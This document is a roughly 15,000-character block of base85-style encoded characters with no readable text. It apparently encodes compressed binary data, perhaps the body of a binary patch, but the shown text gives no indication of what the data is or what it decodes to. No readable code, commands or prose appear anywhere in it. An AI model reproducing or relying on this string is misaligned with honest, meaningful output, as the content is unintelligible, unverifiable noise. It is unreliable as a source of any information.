zQZL4$ZBdEcx0=m?GYY|0#1XF5!jU8B<2|loXmwyR4oU)pC`@vnFkp)`^UUE03Z3h7 zsHi4I?9a@DdE?Rv@Tx%MdBvzyq>g9^xg6o{?Brr$WdMX+2<)xw6xVoB&^24S6RdvT zA)i5#P;xIS!9RzqnL7Tj?W~~O#0-7yHeJ__%@HgN=<=SjSGqfUJ-+VeW4o4k2k@$Y z@P(2cgum6>IhCbDJT<e4Z>|ZllznpJU z3_cB=BbxalA1viLrVsN}6Y@3vH0U;FMz*VeYrmmksBN|8t3AjYwj%5p zvKd_Y+)>Ai`4$D@&dtc3?dGfR9)r`^zf+4dI08=&{P=XY^t>_M^z`P5K0hwy1`x=L z9B5bu^;IettsE_*=@_h4BI{i)69akYN0jS+$PXHg*%QPueLybRNQ@{$XBweShsF%# zzwCLAu|Fo)U3mk2~xj@3m&;E!Je-4Wxq;~(ApWgl3Bi0(|%W}=e$G-}=+zCWm z$}OEhT(3_U_miLI%N@L~Zr<%7xUdN4wWj~Ek^N1G*ZU?apoDowOP}wQVvQzB6y(Y3 z3>QpFB#SUPkDt3heV7(ji8#_M6$Y0q#bwH#&nsB7C3$4(6jvB_QC`=Xypc?6wdAb$ z?yn2(3kn2CWM&pjI;zr``e2>GYWnX%bA_~%kb0X~0X0SzlFiJ@sK#WSyh$CE(#cNG z{I{(gU0mNzZVkEG+mxt|hAmG=lXT})sQQ!LC;nn>TC(zQ zZEYJ7!i!5yrHLBYX5=c#;3A&5d#iq#hTfst^A5Pp;SZV_(BI~m1eK(NFOX1xw?b>@ z8t?s4LTq-kBcw)w48(|6N>OG!d*8cCczL13P}+jlJRV3Snfq9f_&Eb*+}bX0tN~@` zRtEyR@K`9iXhnq$0mF~Y@88MmnB>w`cEiE3{Zg#bQNF7wu*GDmr>U6?qBO)J^FdDF z>MWnPlmZKf$g;GXHl#@8Q$JnSzboQO0!Fppf&ksS*DS`SW`GxLwcAFcBW39TNg8w* zX?`pM)@$Yl=%YXg^-BbeS;Ig?qsgJeS9|BOfVv>hCMRvUy3?7}+)h8TYj0N|4R0c` zQLO^-9}_MAeSs9dbdJQkq}R%H(Y~l?+wrpTDr;ob)G_X>uA-+i`?yR~g54^ggenc+ zf0W%)vE^jYUCL;2CR2D3 zr$_xMoBGr%^Pd zz_o5o^|OpWK5mHn=S@SY`{PSJ_qM!l2O|9EIclYb!N)9_Hcb6+4)`Bd%v&@0Bl%%~ zvs{|({xzq1kM19C$NIt~^`^9VI)w0m;USb^7^wamsAz5=Uo?n#C~;ry&`o!^Nq^Ng zov{Y9K|(5HvEd=cCr=Xg)EM?B(~c9WB;i(&$yHE{=k5mJs$MV6maJn24G-t%+a^w{ zi8rf=l1aOX&&u4dtZFTbGk6_AWqA(Bv{H{Znq-Y2BMLvGh_DsVg^qQ$8oL?`+!V8V zv0(59t&bITQt>8^zFcZykF6@hNW&txvYXzyI0yAM9_RbU%I7RaFajty)iY)m_%nZwZI68+ek#H=_p_XtyaVXt`COvhjAp z&bMZqHrJ}lE4(||7CTY^?%8rv|d%$*D$^|e+@CDN!v4vRWO7l z2xgNou~SM1Cnm7|i!Y+nHIlBzOzzzMb^RKHDce8OoyJOB=sSIv^(o`nJT#aiUtokU zR5{lTL&~MQR_AnsJ!R_KbVE@0U|B~X6uzndvv7|dLz49&F=nNByB%bgs=s=4J|rtr z9e?w!T5hn4;9WVHT|9W(08p@^i1m~7BW?xj%dgI_G0I*A-VfTa z*It$J-2$Lt>cr`E{ksW{z8Cu5gtj|ZF>@4SjEDt37#F%{-uhYpbt|cFvP*o(_3Xvt z$Tly}9EJs~849V05xAJx5B(L<_LVbNnfdj`ndV0L%$Ei6#7D}-0FU;IP)3s*KJq#x zv7*7TCtIG0-PMT(2||t)CWqxDsxMBM<{=jeB(@T@+~NWBm+-G*P`p}rU$?bIBh>Zk z1ZgsOU-E&$7zJc9#1z!ZVveLst~v`83~Kfy2epZyaFT^nIAW9tK;xh}>JUf;`De62xc^u{IE@;BLwI2B zE6HCVt(bWYgVE`gIx}OuNCu-Pnu6{Mhc^bYCsv4wpU^+)8$db1>w%(PU=71IpaYol z_qY)%J9V_+L`DGzsfeHv_rrUc;AShrm1LM=6~9wOE&rf^?U9u5z=A>{f;Mu8@9fO< zX(~+&mDeKaNg#-V8x=wXnb*ef@!xCzC*; ze3vpNwxc#9hSPJ$hxmIRtqQZUqcv)hVpU1x6lfq$Xq{=*Y8>V&ctS6t+FHvUi{iQV zlZN;iMe87<*i{1rcCbK@K}>uXZtqO}p7%iK_{0?lj9LcYA;c2|`nC}yj%fqZ&4V^U zcfWGK(%9aLFFb1OsSgwIUp;^YTR|nn8xrG{VNFCx4>Wc!-U`9j1lxbNW+~ zzca&^NbAWrKq1zLzLwV`G;hH&8rvx1Q<#lgesJk!54Y>(V(+1UTLYT!!A-HBGDX)! zq5&PD?!k;+R5Fr$+~n<8jGcptxtaxJu*wa{Y@ZSb$BfD{77pBt@ivZ<@Sn4%lf|JlzC1QD^zx7O10a6=M%F8FN%gZK<{w z1e=P#=`;>5k$Cyc;d{kDNo2ZgwYV}wk}#dyF4U6+Jo+=A&SleCR9wrh@U>nRqddZ!y08`3_W6Kn>zf~Qc%^6cku5W449E6w% zL|D4Ii2B1UvE@^g(orj)hBc0M=l6<3INn8t(5RuLNm}nkBMJbcZ_#Tqgr7|LK$ki? zTtxK_S`hcUh^>FkhtuR!x>Q`N0 zc3)%uIGBGP7#l-%I}o{7>C}CB;9Q*Ad{v-+WR-kTR1`eS@SiQRZeEv(+iGtddOf{8 zeVK^$QBn5iI(-KVI0t)GUxT;Zs2W`7q0Smcf)W2L=^86j`ntHYXp&VwS%zW>@q5** z%jQdRJeU3@{7@CJj8CTa{jTVd0qzGrHauS5H1zQ%QYLSX|3Y$CZxg77Yyqq)N zYOlW9KoQEd3*WAHq%M&e7p*y;AD3F8%X@{K{KEhO&z)RJs_F;nWyZwNv2kafS#}Lh z>bzY~2I>2ik?HaKwrsIan87NeFAeefWg9&koU5y7+Q9|C_U9W7!!~+=v)@gIX>)+i z4O0%%TLzpuXrySUt7dj2Md?)8yWBXZ+2VA?^gl1d#xT@Hz!#g3>@Iqh`Y=&M@@!W0 z@}YE_=az=Vpe@C5$j94A!tKG!&HUo(gVRSm&N5mJuG_hq*oY5>=<@TIY*W@)QOgAM z${L7o8`#^>TgkMcSHZtHl=muhHffrZw+I1UnHB?v+|#|<@k8O{kRt2({f1N3O!6H5 z4;eXTuvq&?SJ-l)67&b=VBZU^2en?HeW?eu_TKNm&D@oDCu9t?Yooa7hjwvrUa z!|bh(f4C{}$;4n+n1@?tdWXf_fTh)$%%lR+#3LT&i zih~E3D&gkUR;*G!i+^CCAAY+o*Tc+6+#G_S;*gr_(J|q*_Zk#w3j<2au@9PKCXAFM zRDI}o%Ea~Nyr0DSkNFiL&KdOMVFvDhmCw@5U5z z@SFXSpQ^#08p-!%fhK!xUvw~VyBpuD`#Y4orxm zIS+q))yS;9xCn`1N;NvoqBX`C8xTEQ&QUAiYL@2HmvJAlfPA3q7uw>Hv|F7IC+}+; zy)`!#lTQN|{tf;=m-tef$cb-(`KcSp|66{_{=ej>X}~l3!x+8a$0c6smiQ|9W|`zh z;%U^p^vltQGL7?U>Kxpd2TSC=V7YQ@v!2)MVZj~5A>`RU{3x~WPnXvOzITU$(XB!X zN0z5P@z2KDeA&LI@h5XH>y6DSA$gvfU#43vizqvQx9me_PiR3o|*# zV@e~;g)S~+;mS01UqGDp%)0{lgc?F0H2ZR~d+b^<51YU}K{7FK9ydUbOjvBd=`UOY zNh4`klrQx5ClR1I%Wz>lW{_h5Jw(*?!B_i6;N#tfyzB@Fk$$ zjzs_tX?U`8oGZdS>Y>!?TYbmbKs&Ob&&(&-cjy(Ifw1RaM?;@31BNG^A7t_F$N^{! z2H}`JyCvj)MKI5QmN*2IDV(?TViiZQkPD(FSPG@D@~({`*)R`Lf~Q?EloK!`_X(4u zgZ7%3byxIp4YacNTSuL+rv&O#CDhXC_n8aGNtIO}NQ@vrWFmG`SXh8$6+tu#KMb&4 z%E!<$!B@zlT%~Z30*C7DM9A{)4$PO&gSW$Sk&TH^n9hyozM@>p&mVVoAQ)#!0&0*q zh57plG4sEDMiLex_Oci;^URj$%(FRBy+7YKyS6q71e=mBd4^})H<1e*Pe0Gjo_%|4 zPW^jDQeLyaj(t)rvl?cHPCLTZZ%Njbd)r{*(!#_sfa-D~4Pn!F z2ei${#JIh8=cAF8O(>UnAmDe8@ZfzD;v3zR>3rbn=VWILmv*%8TM6+>4Q{R-V@oD@ zmv{7_ivDGh7XO(A@mFLf4ia8JgdPr;+zKU*jIEs^x_YwIc3Si-9ii-eTJ@}5 zt_*M5^eps;!@ak{rW$t@rh@Elqb|37NFrFFh0WiXiYb5`2kk>1{i+iSC=NzDnJnks z?|cijlWO`^VX6@viuSxFr!&@)ycVZ5))M1Jr*`0Hvr{@;$zs1Xb*2aWvG6WF|Fm|Y z-4u`AZX>!vNyxk!_a-JFZ_?U^A+vqb`ivp7dD0qpokkZL+*5*2b%}mfUc5d~A;L=I zB$<9y3eqK0J8!-Ip!y#N9dOS?NuCo@&M`fho+~dyCV0ra{cfX~f~@WCg1LgM<829@ ztBwSG34^PS1$;@FlMX{>alduTi>f9!G()Cni0ewfHC-lp0k5SHy+|FhbaGicmCaR{ zhh4l=;x558%F?yxMY__;Hig~B^@>!UQ?2Yu=XPC-$ZqY1VG+GyF-zv=$6LUM)8|v` zeHdr$FQ0p9Jf_)%A{yg8LkLx_{`|T)N>HM@KTA8RT>FMvKinq-Y>};QxqsJVHzj8@ z&tabJm91TCaKSm=lumWwH0N~{{$}hi(c{{A*D4Efum3ZRFXWsvW=pV8y34nNYBnL9 zxl?c`rzfmd{o@jy%h>u9ZTDb4W7$&Ean|o;0+!$c-qqs(En7M?**-O$JJHRfB)-{1 z8O5i2|LPwL9M1A>7jyWE0!~BREXRCp)ov~co9Qii4w!w-;hj;M$zrjercF|xm!Y29 z4oiOyMIV(EX=;PFh^O|L3u~3=0)he?zluQYxetC$cDSY}cx*(hLjxRM?RICvHRVsh zUFGwLh_Abk@8iwa(c8t|Q#0N6CbemB_ZxGqPt&PsGQgX@K374MJgc^oco!}C5V0Z$ zxX9PCxx3$8i>nJawKr*qD^b%-EODJQIWcOLQx+KwaY7zRw!;c}S#p7i z=*%CuvDo&u*$Z?~TDy`Gyd;5gC0-J4(J@*u<3eI=hl|D!f~&rTY`NE8f>TG%^)HU; zhZ7^y6^|(l!gKp7C~lEC+T_B zNN8rp#41J~jM$DQf7&mpHr3HRg{`})3mV!1@0uRqsX;1heHpbyCU`AZC6Tui@PfVL z%1$0cX8ns%E*RO>yT4qgqIb0=F5gp!G!RfTGj<(oHJ$`H7~dG?%30m6uU@`<66i5s zNH~>rHrOpqKV~p)HT=sAl<{64y*x!|HW#_cXE(3g#z8w$#aAdt*VliiYdBd(JCIRv zJKD89S;toRRs0TsE8%3iP zG*3>0rjb>yo~m zAQ=l2m(W7tJv>*q@*nM$g>XX9OlW6k9>wax>Ik_B)M&bQ%oUfIucSC*wDd09?Y3uZP`{-3I&-{p*bhv#p7j(3mhO*+h6;PcKBT2#bdMB*dDdE$EoA9=KB!_GO3N(~Y9g$d?s=)}hOllX0rxEx8Vt#eAVUYn^A z2`2y3G21?c>tJs$zodK~M?cQ!XFp^F<{t)_NiFvIPuH6CWWZP-n$iV5NYk`PKm^DO zC@B93>mu6S(V{tbur4tT1Z<*IfASyK*(M(Bc9!AQ=Ug5uYx26=&jNB{4XiFa_% zfG>d^z(^kt{hhY(<2wYj$0w2#*8WbX7IF|X+%?)p6xKHQ)etxL*}4V3_Jv?y)>ltR zum8|**{o6b6@ii7F36t;Hk46Q?}$O~kzjm{`BGe!?|*~d;lOnZLa~^S1!u<0N9QMw zshGBVx_G_c?hTat-%v&R)DxZ;;Sd)=G$h&RrMW@L-fiQ|GBC$j%~4?;a|zdxn}Mfk z?bMmm;9p(!=BOjYlN$8RPv_WSilT_M{_K)QVn#Die;pxqhH%x1w{6h}bS!0gj`#r& zkn#+(LSl}qOOP2%i$lIvm0Ng8bIS_ztg%Rs#)^6FT=(^T*cP=-Xi_O<>H`8g6t)6E zTUeGWAsvdfAgXcJX&5Y>s$N+4+AOQj}kA-bl@ zI%yt|N?b~2Ix@#|M6TT*IfAy1)s7&1^v`YFvAe20n|PxQj@zjK5I&n1HYV6z4(=Q* zLEW?dht7Cj{kl~v<;Om$rI7FkfpT#Z)v!DaXu=-Q55Jw)l9e5Wr!zB~xm@{ju^=)% zU}y=LFaO!O2+NHXKU=BSkM*&T=#Cty*7FGHgxI}#u2iA1tJaT|S;%l!NmeAtEAXk- zbMy^H7{3PV$)46}1(de#x6I5>v^=5-{L3P18%D?_nl>ZoSmRa?>Pd=}r$=X{wSYvXz+TT>n=V%^$rbWn3 zx^#wj{d7ABnby_os59c`X-(?Dqvy+AO6?RBDk8;sU~X7M<3-Kq6-Jj}!(mr>EwbaP z(D2df-Q@&Hbg7hzFOD7`a_ci@_bci%GHrlApY1B^b+Oeu(RBt)4(gV3ro*5lHuQ$7MkUQQKJJODGr@0uMd z(i!T6eJCthM14@utRQRWDoU_K?~>9QM)&EkB~cf*k3CvndITiZt#ItNv0`@g{(q0h z|2_V6s*WD2wqC4v2Nz+;m@mkhWLwHIJ5T%Y;|)vqOq@F5&eY*72-9p5v=Tr_w9WD6 zTCL2!E;VB_U&egpM2H=tl%~Gw2g=PMKCH!lo>ips>bF5}F>ck2TONOGTGc>JT&-bKAA&_+R#Qb2{+=dl6y~X``?dDuYdv^P_WJ6d5 z_*Zx09{JI5daNIzff1!~YsCBt2KCuf9WO1=|AMb zVlxoQ%-LJi$Yw7*IbHv?jarwgr7dKLIJz}&{5${65@>MkkVT`(VhYv;qwfj_+zo5ym_=;<**7Cjf?atkB9uIy^^e(mnX>xFZ)C@gCgN;gQ;8w8weRk01P%=nTO zj#7lH8s4r0&h-RE*bjQP1a^KWCBrZ9>y{D~jGFc%qferLwK`M}6x>2OpE-A4CQHhj4vrgc z2^WBL^3spJ(zLwzon|x7B;`oMfVdW-9==s15H%JCqTy3WFRuPW1xB%Tnw3Gb=JNm{ zfwIJ$g%P&n%mqvDc7W&Y-E!hYl%*dj3!RsVzZ$RfK<2E7R^Bo>)P_WY)8ud1R z;F=NP)Dajv-bE}*b=UIKodxeO^HMaW5a$0X%H%AhiFiGI1z94xO2Wexmu^QdxTSAS zZL}DiV-^ikzYC0KpICNt*K#K;qlZPID2P|&`q29X*^T9QBkvcg>Dvz-X*qJRqPS|) z;IqTh%epBCH`z<0AYDhas%8OwL0=}UpyN!c)GzvAa%m2aWSzhRZnf#`@_9UJGt~!p z=yfoC2kIy7dd{m0Sf|=Mc)P6G;q`3ugp@?6dL{J2MCA;wYv;c7@f&$EH$0t-dK2$S ztq$|GjT@W){HG4EYQR2LN|F|9Gw3p}ctQPk`Du`{@an4E)Z_Pv%V&cGiEzBl!_4gV z51n1Bt~AA#XZ6A~*(eaAzNpDbb9&q0lD?9;&)FRTt-V~O>E2tqLTi>j;jvw-S#VSS zK(E)fg177CFY$%#m8s#7BnfgklhVsGNe-eZ={`0 z^Ls4H<^6X4c%3QhMpOc{9w{z9Oq0P%zwpkqkX@;yn`XC&wDHfS)_G?4rbHrhctnsd zX?-O@73{3oS?vR-fnC?%O<`(iWoB*L&{YpBjq}WGls=n+WFGr)o3GzXt$VFkt#7SR zZ9m!w+i2T3+eF$F+H~41+FbZpDw_H=ZmC)Sq2TKdrswXeOQw}pq6BV6u7SpETL{IY z|DnOpgEKRG{}Dy)06sB-16GkGp%qgg>bGZ(wd}t{j`(MCzS9@-}XA!=)w;unnV>kbQexQ0wNJiMQxi36L(ot#xqxWcgSz&%q9)Nn@?-ygWVD z@r5J9Oc+DR!Gil&z+E)|TSTR`ay`EA{GsWcve1IStv&q=)2=cSgaH)=f@|6Y*hmZ6 z`n>*hI0qebC3Pb`9Rl$jf7o#I^{NGjMl_juy+v$9-su+Elz-vrATy!vmuV}{41)ar z;5X#|eCLi;+vl1V0|EIS1p%S>U(X-ASzDUB{NG=>?R0D%3EJX6s|}r5;305E#^Q!7 zNnmQt;t{|Qeh}XV=+HyqYBw`!BqN;iru~fj&YrI?-?yGCm`$oatIu#hb3SA5@pXUu z`q9|>#8xvnNs^5@>pyaEUb8VG&)y` zJUvSkbBKfl_;=gCd*_gIn6!?M=Pwm=2pw~p@r1g*{XV_?fAvuTQs#vS3BSLsbssw_ zD!zHQw>SI)e0|@J?rv^hEq*=kW>i#M8|)^O%>U})+vj9Fer}D*xctkt9$SLEtVpDA zEx5g{2S9$V`E^>v6xHqP`+oKCiTAoYmGiao?c?r#@AU1)BcM+xw5_M$nUX=&OcC(A zz=3f3W_mxxmcPgOZD3KTMRqr)`MKNs^CRl>PULICcJTZjdAp1E^H9-#9WLONYEt3q zk*0eq;AVQe3b7N&)Qr}x@a^-(-{beDX~^i?Eo5l$>l4bTGw?Xzc56NCeciCrxy|3_ zbs^{b`2D)(>(SQ^e_e2U!1U?ie1e1c<4MSIc0#u&52eRv-T(24?(Gcu>s+YSv8Fnk zaT)8+F_vaPw{Pn&qR-RSgI}L?*q_^{$R$kKi9H{$j*j`?O|N50G>eotWexE&J)8KU zzn}u@HLHp7GGoy0FUOysR6 zX<}zbk(xVePLXYk$6D6H-nIx?5~x+k+LY26IIcYCqAO+58CK)0+;BzhW3gBFTru^s+E}#z z@^ti%YVP)}sIv@{uh#q;4Bvwhh*@zZcBClVge$;bAs=p*HOeVBF^k3aexZVf?cZpq z9Zt|UUQoHBSu@~{!T0yCDo}p2&BYxoE(Uf*IuV|hAPW$q(g1d~2s2%4t5=bN zvY6A@Pu(O3<=OseD608u4z=K<&K^{Xk|ewHDl6HWU5}B{{2$bDnQg!fY5}u}`xY$M zSs6|ZustZ)!?`*RRe7wT@EB}ymaao);C5!2+0+sY3D~4;YO)WV$AT~{UC+T$7rBDo z_s!@nt^JiMW?TjoTCHmQU}Sk`PgTOh!7N=|wYg@hCSBuy1td9XN(5QvHD2vx5<|#H z0CgMTakVN#hY-|^o%$#+EQrBV2j9Wc#TByy*1-_9u;ENyV>8#wF7l7#1e~9)00I_P zM(xJbA9CiL%5`pZ(I#a8bcL~k?OgWml{Yep0ncLNQa+LXhPQd9cV(ARk3_jf(xUV1 z57dI>unNLj*;}>AfJ+RCrjT$KT7uDYx}#g_s&wW+8OLD+N`QmD^*1ZNt162pN#z+&RpVKp( zS7TwU_-K2Hhm;=PZo`$WK+6n*6<5>vJvuNXLVgNz7j!*q^bRaMg`n z3#tGjm~d562rMb^Kn|De6sVe)uBHSY=Bb^#kab9W1VvyO&v>{6l8)otVAm|~3|JK# znT{<-*gPCr9J`wNwt$D@jML&%xUyqe^OYVzI>CM%XAZ7laBKwA7lD({1DDKt524Ac zu@7IT|H!&$8bdB_Ar5t#4lU%{9zTHyLLjz?1$gP+z`D{_JStp z^%&E+@WV<`2KNj#%r;ZO?vmVaZa9fSYlJMcL(s8ni~jvZ`~N{i&fDnb=0X$%R6Y7` zA-4W+^Aaic`wG{irGYUzfvyv8V!~=^)36G#$&LfCCwnOqh*ymcif4uJNu!^-Dz<+c zsSd~_ut`9RsP_Hjhp#*)0?hPWLC{gu29*7$C8OIpP6nKO#Jqym%7Mr#2Uw7m6|Abm zrDyOvhxV!Ufna;b+b(w9!xa#-$Vx0nBe^%)RPB>Vlx70to{$=4?9cDqkV>T#v7C4YU4WygO1Z+T78oMD=d4dfsJbV41)@767riBSTxGQS9^u2XV)C5*+Ee= z0T~<}2Wd=%Ewtc~Zk+f6%A2Oc&bgEa3^4RZSt>ho*z*$hhIUk0BuS9~9G2(bbw)SJ zKuA*LwQ&7A2n5op`3s#Q;6$hFDwx>%GRp&dGoF0PEze4z&|N9NR6Ey!;9x>b!{^SZ z1UAW=kk3u@1`|}Yn3D*o{lt09)!a?(a%<8B)KcGOMK3_~3pZ{bqmsGVT7zfdg+Np( zIUAlKMC*~E>nyCtT-)%SBCyI$5uOyVA1gnu$z}yQ`;Kx?| zaw8aBsbi&V!l9+#N|h~5WoQ&@P<+UB4o9XT2KvWBpq_V008sv7NF|wtx?`S@Mou~2 z;PW;Inod{?`|zV#6-(;8)MjbuslV|FMbMQS!FpTWpAhGVjfdIH85jmYTY?i@F$RvnFZ0ON1P<4!d&OlUZnkA#TJ#HX7hNLQKu5GKC;UI@# zI!b0$6(p{KTH~Hb7H;u6ij7+T(mzA^iy{F-j>V>u-54s*D~ezQXOx{VelvR-kjx8y zKbl5o{InbDq_GZ5b{xv)4za!KQPX5m#^$t}D%_15%m8=&%(KXwBaHfqy<-;~H9VqX zDZGNgPIe6+3P|+?Vt>8*lapBKxd^K&M>fki)nY}0sHF~z=Fj6^s3ZrQ1q1$5gg^0q1(85*wn1E3AbynNm?c|hM|x9>eSs$7YQ=RFCP3h= zn#DIbL%?p1Cg$1I#L2DtZ`3&5kay>ebu5i^=TJO9{eU5JMw%1mV3(lG`neL4jtey} z1u2@cR>ka+o3&HH@_c0Dh6}{F65G{7+GhgdqAekVduU%YY?WzrpA=fcp5Q6Mu*puu z5;98f_)k;oGPV^Pf7I23sQOnKV0vI43yN#rmkReK|DH}44G|UC=OF=TF~OJyqApeU z2WtI%a&&~kWiobN4UPotJ|~QA#U(0PoOJ9kPo`1yKxMv%tif{JzzH6#AB1VjT@YQI+;eWXU?IAfMxc|{c*HWCcCHCecXZ;R>b|mF0E*E0oq=wNGA&8qwUz-)?#i#*LN*rbE7=((+bxa z)-M&J$_ivo$#dmC6X!MMdPkDish_b+2ZkR#ZT zc^ZxXgK7XYmUHY5x?WqXf`ip0(8ltP4*wc*Ck~RIx)ibVsPk#_Z6y?VtUmS55q|R_ zqQ6<1WEq%*_n>DmD|?a+COG^fyG3Qp?vArekf;;xH2bg5#0Zc*tJa zXPV8#?0VZFiUDi=T^JSjlaz;9(rMCNY8R8{m$;i7efs#}$$pBk^Y*fbo%plNRvH*O zr5{sWm500w9`b#2+@W-P{rxzoDHt)kri%c?>-Xa-Kd`wCDz5zJaAw%UE)xhW$k=g* zT*}zYU@5VqVWZ!h)NeE0pjv1etcM+;KlpvuZKi9W&1 zV`mon!@A&52DwPi!j25l0o|s#e#$Q@4rL$4mOd@OF*OB@xGs1&0$X9jC$~C|lv#l@ z?4%ZDOF`g>OB^Y@;GL_1g?}!MiPEcpIRIE5d!BY}PkPYlds7PA#R;e@dOf*WtK7cB z91btV%y{@|;o4xM_XH&LL?+ifzlNnd8Jprsagt8wwV|?F6zI)nC7E@QYsB@YL=wa-~Al1YGw1`N%x(1y2Ql3ZN|lfD6NE7+j)~7w>kI)C?cXD#=1iQC zx@U>B#cz33<<1~#4FRBV;cb~@5k5{ z)Gb+8U6)OgFKtO(U@uvQRhV;s%znnlXi3CtAq`unWC4=!%{OiXXsVQ(o5$LB%Rn`T18q;K6h5& zeBr9o%5&dThGNqoFSxK!^USPXXY(TE_)TgaGCp@wxZ)boGNOB^C`9xcNY$eE{h?VHUYNKGj!s{jo4ixefxm4*hrUWbeQ z2E>xYc^s5|)RW%)32utCX7M}#NSp?|(xM`R1mvR6f~+cxx-`qD43 z?4El+z+KCQH+XWX4;3?5Kvrg(W5Cr-Rk}ARDXwqKO~-|I06<*4V&}OCN33C|U&=Nq z;cd_^b>n*FXz#g!;$741t$M6>;45KVIiFx}?|vX~&G|Ph6A(AOLk}jmXqNq01uqZ> zjdBr`m#vfeT7Ak-Rdtbev?vkmJ@qY} z2dHHPhb$BO1qxTmDWYK6Y6_xQ9U{MNShd|1_SK#r)T=Kh%ro%e{?Gpt=7XH#(PiiC zNVh=Aa%OGqRJ(&KTju6_3DYp+#2U7{m>P){F=nqDb_%)?R;%ltwFZ?ZE03fPgsesL zTKJ^d6a87fv0NS-N6K!&JirmCbZ1a5($&_vuNg1H5HEOdiU-8b&g^;dA<)Dwo8c^2 zc&C>iuY}Z3Y~(X@b$|?&xZ{{AcV5x!CUAGU^U{02WrU_&9;7F>9T}*@20~&NUhqHy zlHY;M!7dc{(DOvR!Ni216)g>#oc6J!t}E?*w`I4f=S$b=yL_a5`_M)*`yBOz_`q7o zKJUlTsHYP)#pq`UQp~0m`Yg`b6Mk?9ZcrD4d03{4v|-jEV$R>npq2d|0cTf@2AsfJ zy>P5f+M}CNZqM%*%uD(xf0h-7Oow(GvG?4d)Y&_9N_e-9SuayWvOt;eu~DH*Eg^i) z%ScPuoand(LFl;1h|;g*@&Gf8bMOf&b1rCUipeX_w~Hg>w4Yy*{>_Y)^29bo798_{ zwW;Ty3YI(TO-@|xXYD4PsUlfkJa8sADwz^YvOqVQ%CesSc4k{!9Jq&qJ0%7JGi1`*bebW5w9&!( zz&yuGhO}iMhHDRJG;S8vN^`c`QP@CUk?kRDq(V*7g?O?+bv-MStam}XOgKp3+(VO= z%b1u16M7LY@OiRG9LXm+U@PyPS!2OMctv@+FRa<-Y{#a3G)jFK!mYP?L3HDirba~S zazN1&oH@7jgT76#H%}2bp4~Mx&+&VcULnhd{rw6`N-8i~CF-IYUKdY|C zTNwQ$85|)x8d01jIdedGvW#2YuWi6{SNE@vxp`m{&D=LU*q$s8`R$rJiM|4uvAljG@x$maXdci>#^nZ z+ZORAEOm~bH&DsT3ZSJe+%9LqHN9W5Txi#OIF{M;ux*v2c zWxG*PgU@Dzd0FRYy7)x+eUj^lwN27AT`~>~#~OydeX8PMLS~P29=rqnpQKoafuF$D zyc6yPoVTq93DrM+`$djb16ym`$|%wc2|{Pj(R*8%1~@PRB~Wvg_c$x32sJfSYu;+7 zziIV#v24njjQ>9Py2pgRqOVL_VoP1)NPCfzB30-+m$FqtrP6kBWt#MEo7n1K_t4t3 zxat?&cWhgRWupnkay4&lc?WbgT)2gj8|j`OFl+=S=TyNr<>nN)STcgxXLS3z=*-N@ zYpTl*2Xpn1hVceJ1-Q%WzUjq2E;Kx|Z4~34m%79t+_bC3k8PpekXL zN?c63)==6v5n#qYLvW0Vny-TF77SfXUOh#idKU2vj&DvF^0^1<3{V?_i)$}TZ-4y& zmbucF55g6euTF^$4lM9v)# zncjU$zOsY#bQ|tj3(_IELy;qNDiB9;a>fm`EEz)yt5^uH<%kZwnR5d}ac&oam3whv zO>Ary;CEwL4K=uy+r{^FgJ}uMbiHh-ULju_gfj&D$V6!E0Q+$kmwCLKKbS5Ga zQDH>9@Yyu}q5uj4!z$C<$H^p8odulMq`X*!5H_%x#*Rd5=W&)~5S`f$$==?2Y(ujX z!;VWMB>blrkA`cnGpI2pyU2WY5^Ej>fhZt`Jd(DNc{{E3xCTzW+AgKj8PHXWJ<~{C zy1_>b!tgs?5mT;H3YJRd0W1ayxT&K)PC&w06OA*Jw+phP??UBXjaC?TQ#$_jun8!aZrEI_3_Lvtotddx&o+GmWAby?e zm232dOLaUZKmf(6V4QZCNM3h$+rDKVLjQmUL0Fqlp9fKkV>G}@3YIxd#c=h2&7^`LX3U88SnJj9@s#NV`Y9Dj%v>P zU;!Nml3jEiksEF2XUB*i#w!Y~kuKL0bYObVRF^Y7W5bA?aeC%O@^wYE(3Ny^MC%BG zpmz>xS;EFF|0h`OxCVV{yS*0a{pA9TI;SG}iD8L1EAQ(6Q1*_|l?C0paGZ2(+w6|5 zj&0jJ_KwvZn;olT+crA3ZQHv0J>&kl-x&9v^X(sNtTEQES$HO%T2*Tn^fChH?xSls@-(;QuS=0A>^d(hr0&Gq}l}t|uklh@S(<%u2 zWl|~;M*?qrLd2}-b_|84O|ClMJb#`Rz+lgip%3!6fkx7`vGD+GMFpmz@#w@gMEt|H zp#Sb#t^J|g5d=Yk`$qo+s{b4 zXUzRG)R29}fztA4i3v&oT)JW&RxQ`DutHF@`ElIwIBSjI*`@lH4Jh$mVjat}p(*IM zbz!9R?tW6eQpi}X>8=!#7s>kh#>=_+F=iBQ=11bh3z;|AKS-Zv((BoLg?EbBtZ4RJ zW>6e`WPUYwf|%Qfa2=`8tJ$KlluYQNbwLBj!UpY@@eh0EiQ`3+k7+_I=BQjG2blm+ zf`V1?zowBbQR z5{gg=t}uf(*ydz;v;86HV!cDxt zgLp+prP$8S1qiefZiqp}!ZO}|+fIf=10G<)->7@8(JJYH8!C5i*#-!Gx|wg8A!h7b z&Gtd*U(?#|;kTFVxEfd>r`EBVC1bTZ?aoLdeGUN2o>z9a-XIwD!2uD;N_C26!)u;v z_qnK`-E4Dd6z%UHYJ7L-vfBX5--wm?z&+DOw(uji0AZ`*laZEK#WB$Iit<817YFPF zOnLJPFF4h>BN&Pytl^mrL?7CoisoI7^0r@M?>7{WfAJq|ha}*`uYSFNV!b=ZsY9UG zLhzXX8Hiy*mUbem{HhQ;48|yCL!|tfnV#1K5vSGu1Ol6TNaW4<0cNfa_s}&YnqW6D z13;N(=2bVqE1D415re^cy~K|XYCPpcg6q2qQ?q`51ZaRqP6O5WcQOJ{yKQ)d`j;zQ z%ymxHH*A`|4{Y*2m0}Wo$~320P$>YURs(wR0e+rCyL}{nAx`_Gq}>mzEn6H!7D~`0 zvFL`)NA{^2B3WcMp{SOV0(jvI&+Ss%PX?z8vfSfvxo(^w%J=?!rqpT+v9gx!&fDJ` zQ6%7hZ~}L7j`Fvy&A zR3Lsiu88mYm51~rn76-tnGh&1tkX5df4+MpTvixoHQ}uC^%`3+RL@(uPNoigeViBv zshb?sUS|&mw@vhJdk*fBRgPOJf^o;z`$poN+KpvNpww? z)8!%Ce1Ab80!CgRhhj$%Z$Av((j*Nui?OMGUYe@q=+AQ9Qv~Gtt`gJl2LX5*NJ4QYfaVn+j2+z8Vmk)ni z({)>)bwfXMlG$M4*EHafsW=^m7Q`HWj415pXICsm=SV+&wjraED~5KA0~)bGG`C!z 